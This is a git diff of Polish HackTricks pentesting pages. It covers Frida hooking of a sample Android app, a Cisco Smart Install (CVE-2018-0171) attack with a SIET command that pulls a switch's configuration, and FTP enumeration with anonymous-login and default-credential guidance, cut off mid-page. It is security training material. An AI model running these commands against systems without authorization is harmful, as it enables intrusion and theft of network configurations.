* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,38 @@
|
|||
# Samouczek Fridy 2
|
||||
# Frida Tutorial 2
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca nagród za błędy**: **zarejestruj się** na platformie **Intigriti**, premium **platformie do nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **100 000 dolarów**!
|
||||
**Bug bounty tip**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hackerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
**To jest streszczenie posta**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 i 4)\
|
||||
**To jest podsumowanie posta**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Części 2, 3 i 4)\
|
||||
**APKs i kod źródłowy**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
|
||||
|
||||
Część 1 jest bardzo prosta.
|
||||
Część 1 jest bardzo łatwa.
|
||||
|
||||
**Niektóre części oryginalnego kodu nie działają i zostały zmodyfikowane tutaj.**
|
||||
**Niektóre części oryginalnego kodu nie działają i zostały tutaj zmodyfikowane.**
|
||||
|
||||
## Część 2
|
||||
## Part 2
|
||||
|
||||
Tutaj znajdziesz przykład, jak **hakować 2 funkcje o tej samej nazwie**, ale z różnymi parametrami.\
|
||||
Ponadto dowiesz się, jak **wywołać funkcję z własnymi parametrami**.\
|
||||
I wreszcie, jest przykład, jak **znaleźć instancję klasy i sprawić, aby wywołała funkcję**.
|
||||
Tutaj możesz zobaczyć przykład, jak **hookować 2 funkcje o tej samej nazwie**, ale z różnymi parametrami.\
|
||||
Również nauczysz się, jak **wywołać funkcję z własnymi parametrami**.\
|
||||
I na koniec, jest przykład, jak **znaleźć instancję klasy i sprawić, by wywołała funkcję**.
|
||||
```javascript
|
||||
//s2.js
|
||||
console.log("Script loaded successfully ");
|
||||
|
@ -64,7 +67,7 @@ onComplete: function () { }
|
|||
});
|
||||
});
|
||||
```
|
||||
Możesz zauważyć, że aby utworzyć ciąg znaków, najpierw odwołano się do klasy _java.lang.String_, a następnie utworzono obiekt _$new_ tej klasy z ciągiem znaków jako zawartością. To jest poprawny sposób tworzenia nowego obiektu klasy. Jednak w tym przypadku można było po prostu przekazać do `this.fun()` dowolny ciąg znaków, na przykład: `this.fun("hej tam!")`
|
||||
Możesz zobaczyć, że aby stworzyć String, najpierw odwołano się do klasy _java.lang.String_, a następnie stworzono obiekt _$new_ tej klasy z Stringiem jako zawartością. To jest poprawny sposób na stworzenie nowego obiektu klasy. Ale w tym przypadku, mógłbyś po prostu przekazać do `this.fun()` dowolny String, na przykład: `this.fun("hey there!")`
|
||||
|
||||
### Python
|
||||
```python
|
||||
|
@ -122,9 +125,9 @@ script.exports.callsecretfunction()
|
|||
elif command == "3":
|
||||
script.exports.hooksecretfunction()
|
||||
```
|
||||
Komenda "**1**" zakończy działanie, komenda "**2**" znajdzie i wywoła instancję klasy oraz wywoła funkcję prywatną _**secret()**_, a komenda "**3**" podczepi funkcję _**secret()_ tak, aby zwracała **inne znaczenie**.
|
||||
Polecenie "**1**" **wyjdzie**, polecenie "**2**" znajdzie i **instancję klasy oraz wywoła prywatną funkcję** _**secret()**_, a polecenie "**3**" **podłączy** funkcję _**secret()**_, aby **zwróciła** **inny ciąg**.
|
||||
|
||||
Następnie, jeśli wywołasz "**2**", otrzymasz **prawdziwy sekret**, ale jeśli wywołasz "**3**" a następnie "**2**", otrzymasz **fałszywy sekret**.
|
||||
Więc, jeśli wywołasz "**2**", otrzymasz **prawdziwy sekret**, ale jeśli wywołasz "**3**", a następnie "**2**", otrzymasz **fałszywy sekret**.
|
||||
|
||||
### JS
|
||||
```javascript
|
||||
|
@ -167,7 +170,7 @@ hooksecretfunction: hookSecret
|
|||
```
|
||||
## Część 4
|
||||
|
||||
Tutaj zobaczysz, jak sprawić, aby **Python i JS współdziałały** za pomocą obiektów JSON. JS używa funkcji `send()` do wysyłania danych do klienta Pythona, a Python używa funkcji `post()` do wysyłania danych do skryptu JS. **JS zablokuje wykonanie** do momentu otrzymania odpowiedzi od Pythona.
|
||||
Tutaj zobaczysz, jak **Python i JS współdziałają** za pomocą obiektów JSON. JS używa funkcji `send()`, aby wysłać dane do klienta Pythona, a Python używa funkcji `post()`, aby wysłać dane do skryptu JS. **JS zablokuje wykonanie** do momentu otrzymania odpowiedzi od Pythona.
|
||||
|
||||
### Python
|
||||
```python
|
||||
|
@ -218,22 +221,25 @@ return this.setText(string_to_recv);
|
|||
}
|
||||
});
|
||||
```
|
||||
Istnieje część 5, której nie zamierzam wyjaśniać, ponieważ nie ma w niej nic nowego. Ale jeśli chcesz przeczytać, jest tutaj: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
Jest część 5, której nie zamierzam wyjaśniać, ponieważ nie ma nic nowego. Ale jeśli chcesz ją przeczytać, jest tutaj: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie **Intigriti**, premium platformie do **nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas już dziś na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) i zacznij zarabiać nagrody do **$100,000**!
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# 4786 - Cisco Smart Install
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -18,34 +21,34 @@
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Cisco Smart Install** to narzędzie firmy Cisco zaprojektowane do automatyzacji początkowej konfiguracji i ładowania obrazu systemu operacyjnego dla nowego sprzętu Cisco. **Domyślnie Cisco Smart Install jest aktywny na sprzęcie Cisco i używa protokołu warstwy transportowej, TCP, z numerem portu 4786.**
|
||||
**Cisco Smart Install** to rozwiązanie zaprojektowane przez Cisco w celu automatyzacji początkowej konfiguracji i ładowania obrazu systemu operacyjnego dla nowego sprzętu Cisco. **Domyślnie Cisco Smart Install jest aktywne na sprzęcie Cisco i używa protokołu warstwy transportowej, TCP, z numerem portu 4786.**
|
||||
|
||||
**Domyślny port:** 4786
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
4786/tcp open smart-install
|
||||
```
|
||||
## **Narzędzie do eksploatacji Smart Install**
|
||||
## **Narzędzie do Eksploatacji Smart Install**
|
||||
|
||||
**W 2018 roku znaleziono krytyczną podatność, CVE-2018–0171, w tym protokole. Poziom zagrożenia wynosi 9.8 w skali CVSS.**
|
||||
**W 2018 roku odkryto krytyczną lukę, CVE-2018–0171, w tym protokole. Poziom zagrożenia wynosi 9.8 w skali CVSS.**
|
||||
|
||||
**Specjalnie spreparowany pakiet wysłany do portu TCP/4786, gdzie działa Cisco Smart Install, wywołuje przepełnienie bufora, umożliwiając atakującemu:**
|
||||
**Specjalnie skonstruowany pakiet wysłany na port TCP/4786, gdzie aktywne jest Cisco Smart Install, wywołuje przepełnienie bufora, co pozwala atakującemu na:**
|
||||
|
||||
* wymuszenie ponownego uruchomienia urządzenia
|
||||
* wywołanie RCE
|
||||
* kradzież konfiguracji sprzętu sieciowego.
|
||||
|
||||
**[**SIET**](https://github.com/frostbits-security/SIET) **(Smart Install Exploitation Tool)** został opracowany do wykorzystania tej podatności, umożliwia nadużycie Cisco Smart Install. W tym artykule pokażę Ci, jak możesz odczytać prawidłowy plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli dowiedzieć się o unikalnych cechach sieci. To ułatwi życie i pozwoli znaleźć nowe wektory ataku.
|
||||
**Narzędzie** [**SIET**](https://github.com/frostbits-security/SIET) **(Narzędzie do Eksploatacji Smart Install)** zostało opracowane w celu wykorzystania tej luki, pozwala na nadużycie Cisco Smart Install. W tym artykule pokażę, jak możesz odczytać legalny plik konfiguracyjny sprzętu sieciowego. Konfiguracja eksfiltracji może być cenna dla pentestera, ponieważ pozwoli mu poznać unikalne cechy sieci. A to ułatwi życie i pozwoli znaleźć nowe wektory ataku.
|
||||
|
||||
**Urządzeniem docelowym będzie "żywy" przełącznik Cisco Catalyst 2960. Wirtualne obrazy nie posiadają Cisco Smart Install, więc można ćwiczyć tylko na rzeczywistym sprzęcie.**
|
||||
**Docelowym urządzeniem będzie "żywy" przełącznik Cisco Catalyst 2960. Obrazy wirtualne nie mają Cisco Smart Install, więc możesz ćwiczyć tylko na rzeczywistym sprzęcie.**
|
||||
|
||||
Adresem docelowym przełącznika jest **10.10.100.10 i CSI jest aktywne.** Wczytaj SIET i rozpocznij atak. **Argument -g** oznacza eksfiltrację konfiguracji z urządzenia, **argument -i** pozwala ustawić adres IP podatnego celu.
|
||||
Adres docelowego przełącznika to **10.10.100.10 i CSI jest aktywne.** Załaduj SIET i rozpocznij atak. **Argument -g** oznacza eksfiltrację konfiguracji z urządzenia, **argument -i** pozwala ustawić adres IP podatnego celu.
|
||||
```
|
||||
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (773).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Konfiguracja przełącznika **10.10.100.10** znajdzie się w folderze **tftp/**
|
||||
Konfiguracja przełącznika **10.10.100.10** będzie w folderze **tftp/**
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1116).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -53,14 +56,17 @@ Konfiguracja przełącznika **10.10.100.10** znajdzie się w folderze **tftp/**
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# 21 - Testowanie penetracyjne FTP
|
||||
# 21 - Pentesting FTP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -23,30 +26,30 @@
|
|||
## Podstawowe informacje
|
||||
|
||||
**Protokół transferu plików (FTP)** służy jako standardowy protokół do transferu plików w sieci komputerowej między serwerem a klientem.\
|
||||
Jest to protokół **czystego tekstu**, który używa jako **znaku nowej linii `0x0d 0x0a`**, dlatego czasami musisz **połączyć się za pomocą `telnet`** lub **`nc -C`**.
|
||||
Jest to **protokół w formacie tekstowym**, który używa jako **znaku nowej linii `0x0d 0x0a`**, więc czasami musisz **połączyć się używając `telnet`** lub **`nc -C`**.
|
||||
|
||||
**Domyślny port:** 21
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
21/tcp open ftp
|
||||
```
|
||||
### Połączenia aktywne i pasywne
|
||||
### Połączenia Aktywne i Pasywne
|
||||
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu poleceń serwera FTP - port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do serwera FTP. Serwer FTP następnie **inicjuje** połączenie danych z **jego portu M do portu N+1** klienta FTP.
|
||||
W **Aktywnym FTP** klient FTP najpierw **inicjuje** połączenie kontrolne z portu N do portu komend FTP Serwera – port 21. Klient następnie **nasłuchuje** na porcie **N+1** i wysyła port N+1 do FTP Serwera. FTP **Serwer** następnie **inicjuje** połączenie danych, z **jego portu M do portu N+1** klienta FTP.
|
||||
|
||||
Jednak jeśli klient FTP ma ustawiony firewall kontrolujący przychodzące połączenia danych z zewnątrz, to aktywny FTP może stanowić problem. Rozwiązaniem tego problemu jest pasywny FTP.
|
||||
Jednak, jeśli klient FTP ma skonfigurowany zaporę, która kontroluje przychodzące połączenia danych z zewnątrz, to aktywne FTP może stanowić problem. A wykonalnym rozwiązaniem jest Pasywne FTP.
|
||||
|
||||
W **Pasywnym FTP** klient inicjuje połączenie kontrolne z portu N do portu 21 serwera FTP. Następnie klient wydaje polecenie **passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portów M. Klient następnie **inicjuje** połączenie danych z **jego portu P do portu M** serwera FTP.
|
||||
W **Pasywnym FTP**, klient inicjuje połączenie kontrolne z portu N do portu 21 FTP Serwera. Po tym, klient wydaje **komendę passv**. Serwer następnie wysyła klientowi jeden ze swoich numerów portu M. A **klient** **inicjuje** połączenie danych z **jego portu P do portu M** FTP Serwera.
|
||||
|
||||
Źródło: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
|
||||
|
||||
### Debugowanie połączenia
|
||||
|
||||
Polecenia **FTP** **`debug`** i **`trace`** mogą być używane do zobaczenia, **jak zachodzi komunikacja**.
|
||||
Polecenia **FTP** **`debug`** i **`trace`** mogą być używane do zobaczenia **jak odbywa się komunikacja**.
|
||||
|
||||
## Wyliczanie
|
||||
## Enumeracja
|
||||
|
||||
### Pobieranie banera
|
||||
### Zbieranie banerów
|
||||
```bash
|
||||
nc -vn <IP> 21
|
||||
openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
|
||||
|
@ -61,9 +64,9 @@ lftp 10.10.10.208:~> login
|
|||
Usage: login <user|URL> [<pass>]
|
||||
lftp 10.10.10.208:~> login username Password
|
||||
```
|
||||
### Nieautoryzowane wyliczanie
|
||||
### Unauth enum
|
||||
|
||||
Z użyciem **nmap**
|
||||
Z **nmap**
|
||||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
|
@ -105,7 +108,7 @@ STAT
|
|||
```
|
||||
### Logowanie anonimowe
|
||||
|
||||
_anonymous : anonymous_\
|
||||
_anonymous : anonimowy_\
|
||||
_anonymous :_\
|
||||
_ftp : ftp_
|
||||
```bash
|
||||
|
@ -117,83 +120,83 @@ ftp <IP>
|
|||
>ascii #Set transmission to ascii instead of binary
|
||||
>bye #exit
|
||||
```
|
||||
### [Atak brutalnej siły](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
### [Brute force](../../generic-methodologies-and-resources/brute-force.md#ftp)
|
||||
|
||||
Tutaj znajdziesz fajną listę domyślnych poświadczeń ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
Tutaj znajdziesz ładną listę z domyślnymi danymi logowania ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
|
||||
|
||||
### Zautomatyzowane
|
||||
### Automated
|
